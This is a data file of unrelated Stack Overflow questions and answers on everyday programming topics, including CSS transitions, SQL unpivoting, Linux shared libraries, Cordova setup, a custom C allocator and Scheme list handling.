36126439	0	 <p>Connectors are quite hit and miss when it comes to sites like the one you are trying..</p> <p>However there is a workaround for this particular site that you might want to try:</p> <p>If you notice when the page has changed to display the email values the url is in the following format: <a href="http://royalenfield.com/locateus/genuine-parts-distributors/" rel="nofollow">http://royalenfield.com/locateus/genuine-parts-distributors/</a>?<strong>country=90&amp;state=4&amp;city=119</strong></p> <p>You could train an extractor to extract just from these types of pages, and then run all the URLs with different <strong>country=X&amp;state=Y&amp;city=Z</strong> </p> <p>This would avoid the temperamental connector steps and having to enable javascript.</p> <p>N.B if you look in the html of the website you can see the values for the 3 fields above.</p> <p>This one is "state":</p> <pre><code>&lt;select id="divState" class="styled width110 hasCustomSelect" style="-webkit-appearance: menulist-button; width: 214px; position: absolute; opacity: 0; height: 30px; font-size: 12px;"&gt; &lt;option value="-1"&gt;Select State&lt;/option&gt; &lt;option value="2"&gt;Andhra Pradesh&lt;/option&gt; &lt;option value="4"&gt;Assam&lt;/option&gt; &lt;option value="5"&gt;Bihar&lt;/option&gt; &lt;option value="6"&gt;Chandigarh&lt;/option&gt; &lt;option value="7"&gt;Chhattisgarh&lt;/option&gt; &lt;option value="10"&gt;Delhi&lt;/option&gt; &lt;option value="11"&gt;Goa&lt;/option&gt; &lt;option value="12"&gt;Gujarat&lt;/option&gt; &lt;option value="13"&gt;Haryana&lt;/option&gt; &lt;option value="15"&gt;Jammu and Kashmir&lt;/option&gt; &lt;option value="16"&gt;Jharkhand&lt;/option&gt; &lt;option value="17"&gt;Karnataka&lt;/option&gt; &lt;option value="18"&gt;Kerala&lt;/option&gt; &lt;option value="20"&gt;Madhya Pradesh&lt;/option&gt; &lt;option value="21"&gt;Maharashtra&lt;/option&gt; &lt;option value="27"&gt;Orissa&lt;/option&gt; &lt;option value="29"&gt;Punjab&lt;/option&gt; &lt;option value="30"&gt;Rajasthan&lt;/option&gt; &lt;option value="32"&gt;Tamil Nadu&lt;/option&gt; &lt;option value="501"&gt;Telangana&lt;/option&gt; &lt;option value="34"&gt;Uttar Pradesh&lt;/option&gt; &lt;option value="36"&gt;Uttarakhand&lt;/option&gt; &lt;option value="37"&gt;West Bengal&lt;/option&gt; &lt;/select&gt; </code></pre>
4837292	0	 <p>In general, don't pass sensitive information on the command line. Pass it in environment variables*, or in the content of a file, or pipe it in via a file descriptor.</p> <p>It is possible to modify the command line after a program starts (by overwriting the memory pointed to by argv[1]), but this leaves a window of vulnerability between when the program starts and when its arguments are erased. You cannot avoid this in general. So don't use program command line arguments for any sensitive data.</p> <p>* - The security of environment variables may vary between unixes. On Linux it should be safe - if you have the ability to read env variables, you also have the ability to read process memory directly.</p>
6997785	0	 <p>well... I know this is not the best solution but you can correct it with client side javascript. In jQuery it would look like this:</p> <pre><code>$(".verticalTableHeader").each(function(){$(this).height($(this).width())}) </code></pre> <p>as for a pure HTML or CSS solution, I think this is a browser limitation.</p>
36896301	0	 <p>if your redirect the desktop - java 7 and below seems set the user.home incorrectly. doesn't line up with %userprofile% for example. </p>
240190	0	 <p>Let's say you want to keep track of a collection of stuff. Said collections must support a bunch of things, like adding and removing items, and checking if an item is in the collection.</p> <p>You could then specify an interface ICollection with the methods add(), remove() and contains().</p> <p>Code that doesn't need to know what kind of collection (List, Array, Hash-table, Red-black tree, etc) could accept objects that implemented the interface and work with them without knowing their actual type.</p>
24719063	0	 <p>An answer to the revised question. The proper solution for this depends on your page layout, the elements surrounding the h1 and their margins and padding etc. I don't know what your layout is but try these:</p> <p>Either a) Shift the text to the right</p> <pre><code>h1.page-header { padding-left: 20px; } </code></pre> <p>or b) Shift the whole header to the left and compensate by moving the text the same distance to the right</p> <pre><code>h1.page-header { padding-left: 20px; margin-left: -20px } </code></pre>
3759986	0	 <pre><code>&lt;% String language = "EN"; Lang lang; if (language.equals("EN")){ lang = new EN(); } else if (language.equals("FR")){ lang = new FR(); } %&gt; </code></pre> <p>Here it can be the case where language stays un initialized so you need to initialize it </p> <p>say </p> <pre><code>Lang lang = null;//or any default value </code></pre> <p>And to initialize local variable is compulsary </p> <p>I don't understand the importance of this condition here you are assigning <code>"EN"</code> to language then what is the need of condition?</p>
28171051	0	 <p>As mentioned in my comment above <strong>permanent</strong> changes would require Javascript.</p> <p>However, a <strong>semi-permanent</strong> effect can be faked using a very long transition-duration on the base state and a short transition on the 'returning' <code>:hover</code> state.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>#smith { background-color: transparent; height: 87px; width: 383px; border: 1px solid red; margin: 25px; background: url("http://lorempixel.com/400/200/sports/") no-repeat center; } #smith img.top { display: block; margin: 0 auto; opacity: 1; transition: opacity 999s ease; } #smith img.top:hover { opacity: 0; transition: opacity .5s; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div id="smith"&gt; &lt;img class="top" src="http://i.imgur.com/D6Kohra.png" /&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>For the background-image, these cannot be transitioned. Therefore I suggest a pseudo-element solution.</p> <p><div class="snippet" data-lang="js" data-hide="false"> <div class="snippet-code"> <pre class="snippet-code-css lang-css prettyprint-override"><code>#smith { background-color: transparent; height: 87px; width: 383px; border: 1px solid red; margin: 25px; position: relative; } #smith:before { content: ""; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: url("http://lorempixel.com/400/200/sports/") no-repeat center; z-index: -1; opacity: 0; transition: opacity 999s ease; } #smith:hover:before { z-index: -1; opacity: 1; transition: opacity .5s; } #smith img.top { display: block; margin: 0 auto; opacity: 1; transition: opacity 999s ease; } #smith img.top:hover { opacity: 0; transition: opacity .5s; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div id="smith"&gt; &lt;img class="top" src="http://i.imgur.com/D6Kohra.png" /&gt; &lt;/div&gt;</code></pre> </div> </div> </p>
18645609	0	Can't get eclipse to start after a computer crash <p>I am running eclipse in a virtual machine. The vm ran out of memory so it had to shut down. Now when I try to start eclipse, nothing happens. A process starts in the task manager but it hardly is holding any memory and no windows pop up, simply nothing happens. Here is the log file in .metadata</p> <pre><code>Log: !ENTRY org.eclipse.core.resources 2 10035 2013-09-05 14:49:58.989 !MESSAGE The workspace exited with unsaved changes in the previous session; refreshing workspace to recover changes. !ENTRY org.eclipse.egit.ui 2 0 2013-09-05 14:50:14.848 !SESSION 2013-09-05 15:03:21.108 ----------------------------------------------- eclipse.buildId=M20130204-1200 java.version=1.6.0_45 java.vendor=Sun Microsystems Inc. BootLoader constants: OS=win32, ARCH=x86_64, WS=win32, NL=en_US Framework arguments: -product org.eclipse.epp.package.jee.product Command-line arguments: -os win32 -ws win32 -arch x86_64 -product org.eclipse.epp.package.jee.product </code></pre> <p>And now, whenever I try to start eclipse, nothing ever gets appended to the log. Any ideas on how to fix this?</p>
19515861	0	 <p>If you have a populated select widget, for example:</p> <pre><code>&lt;select&gt; &lt;option value="1"&gt;one&lt;/option&gt; &lt;option value="2" selected="selected"&gt;two&lt;/option&gt; &lt;option value="3"&gt;three&lt;/option&gt; ... </code></pre> <p>you will want to convince select2 to restore the originally selected value on reset, similar to how a native form works. To achieve this, first reset the native form and then update select2:</p> <pre><code>$('button[type="reset"]').click(function(event) { // Make sure we reset the native form first event.preventDefault(); $(this).closest('form').get(0).reset(); // And then update select2 to match $('#d').select2('val', $('#d').find(':selected').val()); } </code></pre>
35674166	0	 <p>There are a couple of ways to handle the error. Since you are doing multiple lookups in a <code>dict</code>, wrapping it all in a <code>try/except</code> block is a good choice </p> <pre><code>import json import urllib def showsome(searchfor): query = urllib.urlencode({'q': searchfor}) url = 'http://ajax.googleapis.com/ajax/services/search/web?v=1.0&amp;%s' % query search_response = urllib.urlopen(url) search_results = search_response.read() results = json.loads(search_results) try: data = results['responseData'] print 'Total results: %s' % data['cursor']['estimatedResultCount'] hits = data['results'] print 'Top %d hits:' % len(hits) for h in hits: print ' ', h['url'] print 'For more results, see %s' % data['cursor']['moreResultsUrl'] except KeyError: print "I'm gettin' nuth'in man" showsome('"this is not searched searched in Google"') </code></pre>
33580651	0	 <pre><code>create table #txn ( year smallint, Jan money, Feb money, Mar money, Apr money, May money, Jun money, Jul money, Aug money, Sep money, Oct money, Nov money, Dec money ) insert #txn values(2014,null,null,null,null,null,null,null,null,null,95,36.89,95), (2015,100,6389.27,null,null,1035,257,669.05,0,null,514,2791.01,null) select year, month, money from #txn unpivot ( money for month in (Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec) ) unpivotalias ;with aggregate as ( select year, sum(money) as 'YTD', sum(money)/count(*) as 'AVG' from #txn unpivot ( money for month in (Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec) ) unpivotalias group by year ) select t.year,Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec,YTD,AVG from #txn as t join aggregate as a on t.year = a.year order by t.year </code></pre>
12335952	0	 <p>You haven't put the shared library in a location where the loader can find it. look inside the <code>/usr/local/opencv</code> and <code>/usr/local/opencv2</code> folders and see if either of them contains any shared libraries (files beginning in <code>lib</code> and usually ending in <code>.so</code>). when you find them, create a file called <code>/etc/ld.so.conf.d/opencv.conf</code> and write to it the paths to the folders where the libraries are stored, one per line. Then run </p> <pre><code>sudo ldconfig -v </code></pre> <p>for example, if the libraries were stored under <code>/usr/local/opencv/libopencv_core.so.2.4</code> then I would write this to my <code>opencv.conf</code> file:</p> <pre><code>/usr/local/opencv/ </code></pre> <p>If you can't find the libraries, try running</p> <pre><code>sudo updatedb &amp;&amp; locate libopencv_core.so.2.4 </code></pre> <p>in a shell. You don't need to run <code>updatedb</code> if you've rebooted since compiling OpenCV.</p> <p>References:</p> <p>About shared libraries on Linux: <a href="http://www.eyrie.org/~eagle/notes/rpath.html">http://www.eyrie.org/~eagle/notes/rpath.html</a></p> <p>About adding the OpenCV shared libraries: <a href="http://opencv.willowgarage.com/wiki/InstallGuide_Linux">http://opencv.willowgarage.com/wiki/InstallGuide_Linux</a></p>
334017	0	 <p>I've specifically had a lot of gain using Test Driven Development (TDD) with C++ on a huge monolithic server application.</p> <p>When I'm working on an area of code, I first ensure that that area is covered with tests before I change or write new code.</p> <p>In this use case I have huge gains in productivity. </p> <ul> <li>To build and run my test: 10 seconds.</li> <li>To build, run and manually test the full server: min 5 minutes.</li> </ul> <p>This means I'm able to iterate an area of code very quickly and only test fully when I need to. </p> <p>In addition to this I have also utilised integration testing which take longer to build and run, but only exercise the specific piece of functionality I am interested in.</p>
9917365	0	Experience with using Java EE Restlet's TaskService in an application server? <p>Has anyone used Restlet's TaskService in a Java EE app (deployed in Tomcat, GlassFish, etc)?</p> <p>Is using it going against Java EE's specifications? How does Restlet deal with it when the server/container maintains the thread pool and NOT go against the Java EE spec of not instantiating your own threads in a container managed application?</p> <p>Or are you forced to used Spring and/or interface with CommonJ's WorkManger interface for asynchronous processing?</p> <p>PS: FYI, TaskService basically wraps the ExecutorService of Java 6 - but it's suggested to not used that in an application server context. However, the Java EE version of Restlet does seem to have this service and was wondering if using it would violate the Java EE specs or is a strict no-no or is in fact doable or should one fallback to Spring/CommonJ</p>
6454794	0	 <p>This is quite an extensive request that would require an entire component to accomplish the task without really hacking up the VM core. Lucky for you someone has already done it.</p> <p><a href="http://extensions.joomla.org/extensions/extension-specific/virtuemart-extensions/virtuemart-products-search/10285" rel="nofollow">http://extensions.joomla.org/extensions/extension-specific/virtuemart-extensions/virtuemart-products-search/10285</a></p> <p><a href="http://extensions.joomla.org/extensions/extension-specific/virtuemart-extensions/virtuemart-products-search/10968" rel="nofollow">http://extensions.joomla.org/extensions/extension-specific/virtuemart-extensions/virtuemart-products-search/10968</a></p> <p>Both of these would probably work for what you want to do. They are commercial but reasonably priced.</p>
4929901	0	 <p>Any chance you are using Ruby 1.9.x for development? It looks like Cucumber is trying to use 1.8. Give this a go <a href="http://stackoverflow.com/questions/3427501/getting-textmate-to-recognize-ruby-version-upgrade">Getting Textmate to recognize Ruby version upgrade</a></p>
8172405	0	 <p>I do not know much about <a href="http://metacpan.org/module/CAM%3a%3aPDF">CAM::PDF</a>. However, if you are willing to install <a href="http://metacpan.org/module/PDF%3a%3aAPI2">PDF::API2</a>, you can do:</p> <pre><code>#!/usr/bin/env perl use strict; use warnings; use Data::Dumper; use PDF::API2; my $pdf = PDF::API2-&gt;open('U3DElements.pdf'); print Dumper { $pdf-&gt;info }; </code></pre> <p>Output:</p> <pre>$VAR1 = { 'ModDate' => 'D:20090427131238-07\'00\'', 'Subject' => 'Adobe Acrobat 9.0 SDK', 'CreationDate' => 'D:20090427125930Z', 'Producer' => 'Acrobat Distiller 9.0.0 (Windows)', 'Creator' => 'FrameMaker 7.2', 'Author' => 'Adobe Developer Support', 'Title' => 'U3D Supported Elements' };</pre>
40859847	0	Gravity forms unset fields dynamically <p>I'm successfully populating the Gravity form fields using "gform_pre_render " hook. now i need to remove few fields dynamically. I spend hours to looking into documentation and did google searches but no luck. Its really helpful if someone know how to unset fields in gravity form. Thanks in advance </p>
6545899	0	 <p>When you have a method with a <code>throws</code> clause, then any other method that calls that method has to either handle the exception (by catching it) or throwing it furter by also having a <code>throws</code> clause for that type of exception (so that, in turn, the method that calls that one again has to do the same, etc.).</p> <p>When the <code>main</code> method has a <code>throws</code> clause, then the JVM will take care of catching the exception, and by default it will just print the stack trace of the exception.</p> <p>When you want to do special handling when <code>main</code> throws an exception, then you can set an uncaught exception handler:</p> <pre><code>Thread.setDefaultUncaughtExceptionHandler(new UncaughtExceptionHandler() { @Override public void uncaughtException(Thread t, Throwable e) { System.err.printf("Thread %s threw an uncaught exception!%n", t.getName()); e.printStackTrace(); } }); </code></pre>
3645112	0	 <p>This ought to do it with just plain .NET classes:</p> <pre><code>Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click Using ms As New System.IO.MemoryStream PictureBox1.Image.Save(ms, System.Drawing.Imaging.ImageFormat.Png) Using wc As New System.Net.WebClient wc.UploadData("ftp://foo.com/bar/mumble.png", ms.ToArray()) End Using End Using End Sub </code></pre>
23835668	0	 <p>Other answers pointing to the fact that Strings are immutable are accurate.</p> <p>But if you want to have the functionality of "clearing a String", you can <a href="http://www.mkyong.com/java/how-to-clear-delete-the-content-of-stringbuffer/" rel="nofollow">use a StringBuffer instead and call this on it</a>:</p> <pre><code>stringBuffer.delete(0, stringBuffer.length()); </code></pre>
13269344	0	 <p>If all you want to do is hide the casts, it's easy as Peter showed. If you want to avoid ClassCastExceptions as well, type erasure dictates you have to pass the class in as a parameter (you can't do <code>instanceof</code> on a generic type). It's a bit messy.</p> <pre><code>class TestGet { private static final Map&lt;String,Object&gt; theMap = new HashMap&lt;String, Object&gt;(); @SuppressWarnings("unchecked") public static &lt;T&gt; T getObject(final String key, final Class&lt;T&gt; clazz) { final Object o = theMap.get(key); return o != null &amp;&amp; clazz.isAssignableFrom(o.getClass()) ? (T) o : null; } } </code></pre> <p>And then</p> <pre><code>JButton b = TestGet.getObject("theButton", JButton.class); </code></pre>
24958344	0	 <p>By using this package <a href="https://sublime.wbond.net/packages/RegReplace" rel="nofollow">https://sublime.wbond.net/packages/RegReplace</a> you can create regex patterns and bind them to shortcuts.</p> <p>Also if there are multiple occurrences of one word, you can put cursor on whatever part of the word and press CTRL+D multiple times. One CTRL+D press will select the word under the cursor, every other press will select next occurrence of the word.</p> <p>You could also use <a href="https://sublime.wbond.net/packages/Expand%20Selection%20to%20Whitespace" rel="nofollow">https://sublime.wbond.net/packages/Expand%20Selection%20to%20Whitespace</a> to expand the selection to whitespace if your word contain some random characters, and then press CTDL+D to select next occurrences of the word.</p> <p>Edit: With the package regex shortcuts indeed you have to create regexes before binding them. But the CTRL+D does work without it. I don't see a problem with using "Expand selection to whitespace" and than doing the CTRL+D as I wrote in the answer.</p> <p>I've checked the usage of visual as you wrote in the question and this solution seems much faster to do. You don't have to place cursor in the beggining of the word as It can be whereever in the word and no find/replace is needed, since you'll multiselect all occurrences by holding CTRL+D for a sec and You'll be free to edit it.</p> <p>You can also use <a href="https://sublime.wbond.net/packages/Expand%20Selection%20to%20Quotes" rel="nofollow">https://sublime.wbond.net/packages/Expand%20Selection%20to%20Quotes</a> to select text inside quote and combine it with CTRL+D if standard CTRL+D doesn't work with some text, or if select to whitespace selects too much text.</p>
10355924	0	 <p>When you open the exported data file directly with Excel, all formats are set as General. In General format, Excel applies formatting to what it recognizes as numbers and dates. So, to be clear, the issue is not with your export, but rather with how Excel is reading your data by default. Try the following to get around this issue.</p> <p>Export to CSV. Then, rather than opening the CSV in Excel, use Excel's '<strong>Get External Data From Text</strong>' tool to import the data into an empty workbook. Here you can specify to treat this field as TEXT rather than as GENERAL.</p> <p>Note that once Excel applies number (or date) format to a cell, the data in the cell has been changed. No application of a new format will bring back your desired data. For this reason you must specify the format <em>before</em> Excel opens the file.</p>
10482996	0	 <p>see: <a href="http://www.99points.info/2010/06/php-encrypt-decrypt-functions-to-encrypt-url-data/" rel="nofollow">http://www.99points.info/2010/06/php-encrypt-decrypt-functions-to-encrypt-url-data/</a></p>
36740364	0	 <p>I believe aerospike would serves your purpose, you can configure it for hybrid storage at namespace(i.e. DB) level in <em>aerospike.conf</em> which is present at <strong><em>/etc/aerospike/aerospike.conf</em></strong></p> <p>For details please refer official documentation here: <a href="http://www.aerospike.com/docs/operations/configure/namespace/storage/" rel="nofollow">http://www.aerospike.com/docs/operations/configure/namespace/storage/</a></p>
17547124	0	 <p>Something like this should do it.</p> <pre><code>$("#create").click(function (e) { var svgNS = "http://www.w3.org/2000/svg"; var myCircle = document.createElementNS(svgNS, "circle"); myCircle.setAttributeNS(null, "id", "mycircle"); myCircle.setAttributeNS(null, "fill", 'blue'); myCircle.setAttributeNS(null, "r", '6'); myCircle.setAttributeNS(null, "stroke", "none"); var svg = document.querySelector("svg"); svg.appendChild(myCircle); var pt = svg.createSVGPoint(); pt.x = xpos; pt.y = ypos; var globalPoint = pt.matrixTransform(myCircle.getScreenCTM().inverse()); var globalToLocal = myCircle.getTransformToElement(svg).inverse(); var inObjectSpace = globalPoint.matrixTransform(globalToLocal); myCircle.setAttributeNS(null, "cx", inObjectSpace.x); myCircle.setAttributeNS(null, "cy", inObjectSpace.y); }); </code></pre> <p>This <a href="http://stackoverflow.com/questions/4850821/svg-coordinates-with-transform-matrix/5223921#5223921">question</a> has more details. although its solution is not quite right.</p>
21317678	0	 <p>Not sue why you would need to do this but you can use <code>identical</code> to do the comparison. However, since <code>identical</code> only compares two arguments, you will have to loop over your list, preferably using <code>lapply</code>...</p> <pre><code>lapply( a , function(x) identical( substitute(1 + 2) , x ) ) #[[1]] #[1] TRUE #[[2]] #[1] FALSE </code></pre> <p>Or similarly you can still use <code>==</code>. Inspection of <code>substitute(1 + 2)</code> reveals it to be a <code>language</code> object of length 3, whilst your list <code>a</code> is obviously of length 2, hence the warning on vector recycling. Therefore you just need to loop over the elements in your list which you can do thus:</p> <pre><code>lapply( a , `==` , substitute(1 + 2) ) #[[1]] #[1] TRUE #[[2]] #[1] FALSE </code></pre>
20366469	0	 <p>Try</p> <pre><code>window.location.href = $(event.currentTarget).attr('rel'); </code></pre>
18174261	0	 <p>If the data is re-loaded every day, then you should just fix it when it is reloaded.</p> <p>Perhaps that is not possible. I would suggest the following approach, assuming that the triple <code>url</code>, <code>shop</code>, <code>InsertionTime</code> is unique. First, build an index on <code>url, shop, InsertionTime</code>. Then use this query:</p> <pre><code>select ap.* from AllProducts ap where ap.InsertionTime = (select InsertionTime from AllProducts ap2 where ap2.url = ap.url and ap2.shop = ap.shop order by InsertionTime limit 1 ); </code></pre> <p>MySQL does not allow subqueries in the <code>from</code> clause of a view. It does allow them in the <code>select</code> and <code>where</code> (and <code>having</code>) clauses. This should cycle through the table, doing an index lookup for each row, just returning the ones that have the minimum insertion time.</p>
13409129	0	Which loops and which co-ordinate system can I use to automate this example of a truss structure <p>I am completely new to matlab and can't seem to get an if loop to work. For example if Ln > k , plot point i(n-1) to i(n). How would I automatically assign the correct row or column vectors to i(n)?</p> <p>Here is a diagram of what I'm wanting</p> <p><img src="https://i.stack.imgur.com/T8WwD.jpg" alt="enter image description here"></p> <p>What I want to achieve is connect i(0) to i(1) to ... i(n-1) to i(n).</p> <p>I also am a bit confused at which co-ordinate system to use? I thought it would be easy to use a polar co-ordinate system. Defining a distance and angle from point i(o) and then doing the same from point i(1) but from what I could find, it is necessary to convert back to a cartesian co-ordinate system.</p> <p>Once I am comfortable with this section I am confident I can take on the next steps, and develop a full solution to my problem. If you are interested in what I am trying to achieve, here's a <a href="http://bit.ly/UtdzBZ" rel="nofollow noreferrer">link</a></p> <p>[PLEASE NOTE] In that question I linked to, I was told I made a mess of it. I'm sorry if this question is also not clear. I really have spent the time to make it as clear as possible. I find it hard to express myself sometimes.</p>
743094	0	App_Data/ASPNETDB.MDF to Sql Server 2005 (or 08) <p>I've been developing an ASP.NET WebForms app that needed account login functionality (e.g. register new users, change passwords, recover passwords, profiles, roles, etc). To do this, I used FormsAuthentication with the default data store, which, to my surprise, is an MDF file in App_Data. When it comes time to actually deploy this app. live on the web, I'm going to use some shared hosting like GoDaddy or another cheap company.</p> <p>For efficiency, I'd like to switch over from this MDF to actual SQL Server 2005 or 2008 (who in their right mind uses flat files?). With shared hosting, however, I'm not going to be able to run any programs like aspnet_regsql.exe. I'll just have a single login and password to a SQL Server database, and an FTP account into the domain root. No MSTSC remote desktop, no console access, no tinkering in IIS, etc.</p> <p>I won't need to transfer any user accounts from ASPNETDB.MDF (site will be starting with zero users), but how am I suppose to:</p> <p>1) Easily create the tables, procedures, etc. that Visual Studio automatically created in ASPNETDB.MDF when I used Web Site Administration Tool to get started with FormsAuthentication?</p> <p>2) Have the SQL membership provider use a connection string I give it instead of using whatever it is now to connect to this ASPNETDB.MDF. Hell, I don't even see any connection string to this MDF in the web.config; how the hell is my app. even finding it? Machine.config? That would be a poor decision if that's the case. This behind-the-scenes crap drives me nuts.</p> <p><strong>Any help from someone who has been through this migration would be very, very much appreciated!</strong></p>
10727481	0	Determine Cobol coding style <p>I'm developing an application that parses Cobol programs. In these programs some respect the traditional coding style (programm text from column 8 to 72), and some are newer and don't follow this style.</p> <p>In my application I need to determine the coding style in order to know if I should parse content after column 72.</p> <p>I've been able to determine if the program start at column 1 or 8, but prog that start at column 1 can also follow the rule of comments after column 72.</p> <p>So I'm trying to find rules that will allow me to determine if texts after column 72 are comments or valid code.</p> <p>I've find some but it's hard to tell if it will work everytime :</p> <ul> <li><p>dot after column 72, determine the end of sentence but I fear that dot can be in comments too</p></li> <li><p>find the close character of a statement after column 72 : <code>" ' ) }</code></p></li> <li><p>look for char at columns 71 - 72 - 73, if there is not space then find the whole word, and check if it's a key word or a var. Problem, it can be a var from a COPY or a replacement etc...</p></li> </ul> <p><strong>I'd like to know what do you think of these rules and if you have any ideas to help me determine the coding style of a Cobol program.</strong></p> <p><em>I don't need an API or something just solid rules that I will be able to rely on.</em></p>
38789122	0	 <p>In <code>variables.less</code>, the <code>@navbar-default-brand-color</code> variable is used:</p> <pre><code>@navbar-default-brand-color: @navbar-default-link-color; @navbar-default-brand-hover-color: darken(@navbar-default-brand-color, 10%); </code></pre> <p>The error you get is because the darken function (LESS native function) is not able to parse your <code>@my-navbar-link-color</code>, so check you have a valid color (in the snippet, it seems to be valid)</p>
10043652	0	 <p>In the ZBar sdk, ZBarReaderView has a method called "TrackingColor". The default is green. Here is the code to change the tracking color:</p> <pre><code>reader.trackingColor = [UIColor redColor]; </code></pre> <p>I am using a TabBar. So here is the code I used to get it to work:</p> <pre><code>ZBarReaderViewController *reader = [tabBarController.viewControllers objectAtIndex: 0]; reader.readerDelegate = self; reader.readerView.trackingColor = [UIColor redColor]; </code></pre> <p>I hope this helps!</p>
4665202	0	Redefining free memory function in C <p>I'm redefining memory functions in C and I wonder if this idea could work as implementation for the free() function:</p> <pre><code> typedef struct _mem_dictionary { void *addr; size_t size; } mem_dictionary; mem_dictionary *dictionary = NULL; //array of memory dictionaries int dictionary_ct = 0; //dictionary struct counter void *malloc(size_t size) { void *return_ptr = (void *) sbrk(size); if (dictionary == NULL) dictionary = (void *) sbrk(1024 * sizeof(mem_dictionary)); dictionary[dictionary_ct].addr = return_ptr; dictionary[dictionary_ct].size = size; dictionary_ct++; printf("malloc(): %p assigned memory\n",return_ptr); return return_ptr; } void free(void *ptr) { size_t i; int flag = 0; for(i = 0; i &lt; dictionary_ct ; i++){ if(dictionary[i].addr == ptr){ dictionary[i].addr=NULL; dictionary[i].size = 0; flag = 1; break; } } if(!flag){ printf("Remember to free!\n"); } } </code></pre> <p>Thanks in advance!</p>
35786327	0	Scheme "Error: (4 6 5 87 7) is not a function" <p>I just asked a similar question and got the answer I needed, but his time I cannot find any extra parenthesis that would be causing this error: "Error: (4 6 5 87 7) is not a function". Is it due to something else? My code takes a number and if it is already in the list, it does not add it. If the list does not already contain the number, then it adds it.</p> <pre><code>(define (insert x ls) (insertHelper x ls '() 0) ) (define (insertHelper x ls lsReturn counter) (cond ( (and (null? ls) (= counter 0)) (reverse (cons x lsReturn)) ) ( (and (null? ls) (&gt;= counter 1)) (reverse lsReturn) ) ( (eqv? x (car ls)) (insertHelper x (cdr ls) (cons (car ls) lsReturn) (+ counter 1)) ) ( else ((insertHelper x (cdr ls) (cons (car ls) lsReturn) (+ counter 0))) ) ) ) (define theSet (list 4 6 5 87)) (display theSet) (display "\n") (display (insert 7 theSet)) </code></pre>
29395807	0	 <p>The data you have published is not the same as you used in your test.</p> <p>This program checks <em>both</em> of the regex patterns against the data copied directly from an edit of your original post. Neither pattern matches any of the lines in your data</p> <pre><code>use strict; use warnings; use 5.010; my (%STA_DATA, $file, $path); while ( &lt;DATA&gt; ) { if ( /^-?\s{1,2}Arrival\sTime/ ) { say 'match1'; $STA_DATA{$file}{$path}{Arrival_Time} = m/\sArrival\sTime\s+(.*)\s+$/ } if ( /^-\sArrival\sTime/ or m/^\s{1,2}Arrival\sTime/ ) { say 'match2'; $STA_DATA{$file}{$path}{Arrival_Time} = m/\sArrival\sTime\s+(.*)\s+$/ } } __DATA__ Arrival Time 3373.000 - Arrival Time 638.700 | 100.404 Arrival Time Report </code></pre>
30462632	0	 <p>You're better off using <a href="http://www.cplusplus.com/reference/string/string/getline/" rel="nofollow"><code>getline</code></a></p> <pre><code>string line; cin.getline(line); </code></pre> <p>It will do nice stuff for you like resizing it.</p>
28393390	0	Cordova - ANDROID_HOME is not set and "android" command not in your PATH. You must fulfill at least one of these conditions <p>I've installed nodejs and cordova and downloaded android sdk. The thing is when I try and add an android platform here's what sortf happen: </p> <pre><code>$ sudo cordova platform add android Creating android project... /home/blurt/.cordova/lib/npm_cache/cordova-android/3.6.4/package /bin/node_modules/q/q.js:126 throw e; ^ Error: ANDROID_HOME is not set and "android" command not in your PATH. You must fulfill at least one of these conditions. </code></pre> <p>None of the solutions that I found in the Internet worked. </p> <p>When I type : </p> <pre><code>$ echo $ANDROID_HOME </code></pre> <p>it gives nothing.</p> <p>When I type: </p> <pre><code> echo $PATH </code></pre> <p>it prints </p> <pre><code>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games: /usr/local/games:/opt/android-sdk/tools:/opt/android-sdk/platform- tools:/opt/node/bin:/opt/android-sdk/tools:/opt/android-sdk/platform-tools:/opt/node/bin </code></pre> <p>shows this.</p> <p>I believe my SDK path is <code>:/opt/android-sdk/tools</code></p>
41071342	0	 <p>You can also keep your code like what it is right now, and split only the results.</p> <p>For example, i assume that your output is:</p> <pre><code>output = ['B3', 'B2', 'C3', 'C2', 'B3', 'A1', 'C2', 'B2', 'C1'] </code></pre> <p>So, you can do something like this:</p> <pre><code>expected_output = [output[i:i+3] for i in range(0, len(output), 3)] print(expected_output) </code></pre> <p>Output:</p> <pre><code>[['B3', 'B2', 'C3'], ['C2', 'B3', 'A1'], ['C2', 'B2', 'C1']] </code></pre> <p>So, in order to edit your code, you have only to edit one line:</p> <p><code>self.results.extend(self.hand)</code> to <code>self.results.extend(self.hand[i:i+3] for i in range(0, len(self.hand), 3))</code></p> <p>So your <code>simple_function()</code> will be:</p> <pre><code>def simple_function(self): for counter in range(0, 3, 1): print("Loop", counter) self.draw(3) print("Hand", simple_cards.hand) # The edited line self.results.extend(self.hand[i:i+3] for i in range(0, len(self.hand), 3)) print("Results before return", simple_cards.results) self.return_hand() print("Results after return", simple_cards.results) print("") </code></pre> <p>Output after the edit:</p> <pre><code>Loop 0 Hand ['B1', 'C1', 'C3'] Results before return [['B1', 'C1', 'C3']] Results after return [['B1', 'C1', 'C3']] Loop 1 Hand ['C1', 'C3', 'A3'] Results before return [['B1', 'C1', 'C3'], ['C1', 'C3', 'A3']] Results after return [['B1', 'C1', 'C3'], ['C1', 'C3', 'A3']] Loop 2 Hand ['C2', 'A3', 'B3'] Results before return [['B1', 'C1', 'C3'], ['C1', 'C3', 'A3'], ['C2', 'A3', 'B3']] Results after return [['B1', 'C1', 'C3'], ['C1', 'C3', 'A3'], ['C2', 'A3', 'B3']] Results after function [['B1', 'C1', 'C3'], ['C1', 'C3', 'A3'], ['C2', 'A3', 'B3']] </code></pre>
14740156	0	 <p>Don't overlook Wagn <a href="http://wagn.org/" rel="nofollow">http://wagn.org/</a> Quoting Ward Cunningham "The freshest thing in Wiki since I coined the term".</p> <p>Pretty great as a Wiki and searchable database, and soon to be even more of an OO application platform in its own right.</p>
